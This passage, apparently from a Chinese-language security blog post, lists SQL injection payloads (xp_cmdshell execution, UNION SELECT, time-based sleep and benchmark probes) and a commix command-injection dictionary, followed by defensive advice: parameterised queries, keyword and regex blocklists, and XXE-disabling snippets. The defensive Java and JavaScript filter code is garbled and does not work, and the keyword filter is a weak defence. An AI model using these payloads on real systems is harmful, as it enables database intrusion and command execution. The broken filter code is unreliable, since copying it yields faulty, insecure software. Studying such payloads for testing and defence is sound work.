246 ' or uid like '%
247 ' or user like '%
248 '; exec master..xp_cmdshell
249 '; exec xp_regread
250 t'exec master..xp_cmdshell 'nslookup www.google.com'--
251 --sp_password
252 ' UNION SELECT
253 ' UNION ALL SELECT
254 ' or (EXISTS)
255 ' (select top 1
256 '||UTL_HTTP.REQUEST
257 1;SELECT%20*
258 <>"'%;)(&+
259 '%20or%201=1
260 'sqlattempt1
261 %28
262 %29
263 %26
264 %21
265 ' or ''='
266 ' or 3=3
267  or 3=3 --
268 sleep(__TIME__)#
269 1 or sleep(__TIME__)#
270 " or sleep(__TIME__)#
271 ' or sleep(__TIME__)#
272 " or sleep(__TIME__)="
273 ' or sleep(__TIME__)='
274 1) or sleep(__TIME__)#
275 ") or sleep(__TIME__)="
276 ') or sleep(__TIME__)='
277 1)) or sleep(__TIME__)#
278 ")) or sleep(__TIME__)="
279 ')) or sleep(__TIME__)='
280 ;waitfor delay '0:0:__TIME__'--
281 );waitfor delay '0:0:__TIME__'--
282 ';waitfor delay '0:0:__TIME__'--
283 ";waitfor delay '0:0:__TIME__'--
284 ');waitfor delay '0:0:__TIME__'--
285 ");waitfor delay '0:0:__TIME__'--
286 ));waitfor delay '0:0:__TIME__'--
287 '));waitfor delay '0:0:__TIME__'--
288 "));waitfor delay '0:0:__TIME__'--
289 benchmark(10000000,MD5(1))#
290 1 or benchmark(10000000,MD5(1))#
291 " or benchmark(10000000,MD5(1))#
292 ' or benchmark(10000000,MD5(1))#
293 1) or benchmark(10000000,MD5(1))#
294 ") or benchmark(10000000,MD5(1))#
295 ') or benchmark(10000000,MD5(1))#
296 1)) or benchmark(10000000,MD5(1))#
297 ")) or benchmark(10000000,MD5(1))#
298 ')) or benchmark(10000000,MD5(1))#
299 pg_sleep(__TIME__)--
300 1 or pg_sleep(__TIME__)--
301 " or pg_sleep(__TIME__)--
302 ' or pg_sleep(__TIME__)--
303 1) or pg_sleep(__TIME__)--
304 ") or pg_sleep(__TIME__)--
305 ') or pg_sleep(__TIME__)--
306 1)) or pg_sleep(__TIME__)--
307 ")) or pg_sleep(__TIME__)--
308 ')) or pg_sleep(__TIME__)--
View Code

commix工具中部分字典

 1 echo%20AGIYMZ$((69%2B52))$(echo%20AGIYMZ)AGIYMZ
 2 %20echo%20TDJHRY$((30%2B41))$(echo%20TDJHRY)TDJHRY
 3 ;echo%20MPCSBG$((54%2B42))$(echo%20MPCSBG)MPCSBG
 4 &echo%20NWMZCF$((57%2B72))$(echo%20NWMZCF)NWMZCF
 5 |echo%20TJEGSE$((27%2B57))$(echo%20TJEGSE)TJEGSE
 6 ||echo%20ANSBHE$((26%2B89))$(echo%20ANSBHE)ANSBHE
 7 &&echo%20PVJXOS$((12%2B1))$(echo%20PVJXOS)PVJXOS
 8 %0aecho%20VVIEOJ$((30%2B78))$(echo%20VVIEOJ)VVIEOJ
 9 %3Becho%20SRPJET$((29%2B34))$(echo%20SRPJET)SRPJET
10 %26echo%20NQPWBV$((16%2B77))$(echo%20NQPWBV)NQPWBV
11 %26%26echo%20QOZRFB$((19%2B4))$(echo%20QOZRFB)QOZRFB
12 %7Cecho%20IRODNG$((26%2B68))$(echo%20IRODNG)IRODNG
13 %7C%7Cecho%20KRCSNE$((57%2B75))$(echo%20KRCSNE)KRCSNE
14 echo%20IFNPXI$((40%2B99))$(echo%20IFNPXI)IFNPXI'
15 %20echo%20HBFEEM$((46%2B2))$(echo%20HBFEEM)HBFEEM'
16 ;echo%20KHMFRS$((69%2B67))$(echo%20KHMFRS)KHMFRS'
17 &echo%20DACXMN$((57%2B35))$(echo%20DACXMN)DACXMN'
View Code

SQL注入防護-1

對用戶的輸入進行校驗,能夠經過正則表達式,或限制長度,對單引號和雙"-"進行轉換等

SQL注入防護-2

使用參數化的SQL或者直接使用存儲過程進行數據查詢存取

SQL注入防護-3

爲每一個應用使用單獨的權限有限的數據庫鏈接

SQL注入防護-4 - 使用正則校驗

.+ @"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?", RegexOptions.Compiled | RegexOptions.IgnoreCase);
View Code

SQL注入防護-5

應用的異常信息應該給出儘量少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝

SQL注入防護-6 - 對字符串進行過濾

public static boolean sql_inj(String str){
String inj_str = "'|and|exec|insert|select|delete|update|
count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";
String inj_stra[] = split(inj_str,"|");
for (int i=0 ; i &lt; inj_stra.length ; i++ ){
if (str.indexOf(inj_stra[i])&gt;=0){
return true;
}
}else{
return false;
}
JS中:
function check(a){
return 1;
fibdn = new Array (」‘」 ,」\\」,」/」);
i=fibdn.length;
j=a.length;
for (ii=0; ii<i; ii++)
{ for (jj=0; jj<j; jj++)
{ temp1=a.charAt(jj);
temp2=fibdn[ii];
if (tem’; p1==temp2)
{ return 0; }
}
}
return 1;
}
View Code

SQL注入防護7

確認每種數據的類型,好比數字型的數據就必須是數字,數據庫中的存儲字段必須對應爲int型

SQL注入防護-8

對進入數據庫的特殊字符(’」&*;等)進行轉義處理,或編碼轉換

SQL注入防護-9

數據長度應該嚴格規定,能在必定程度上防止比較長的SQL注入語句沒法正確執行

SQL注入防護-10

網站每一個數據層的編碼統一,建議所有使用UTF-8編碼,上下層編碼不一致有可能致使一些過濾模型被繞過

SQL注入防護-11

使用url重寫

SQL注入防護-12

限制輸入框長度

SQL注入防護-13

傳遞參數儘可能不是字符

SQL注入防護-14-cmd注入防護

使用正則過濾IP字段
if(preg_match('/^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+$|^((25[0-5]|2[0-4]\d|[01]?\d\d?)($|(?!\.$)\.)){4}$/',$target)){}   

SQL注入防護-15-XML注入防護

使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

#過濾用戶提交的XML數據
過濾關鍵字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。
不容許XML中含有本身定義的DTD

SQL注入防護-16-Cookie注入防護

用Request.QueryString (GET) 或 Request.Form (POST)
相關文章
相關標籤/搜索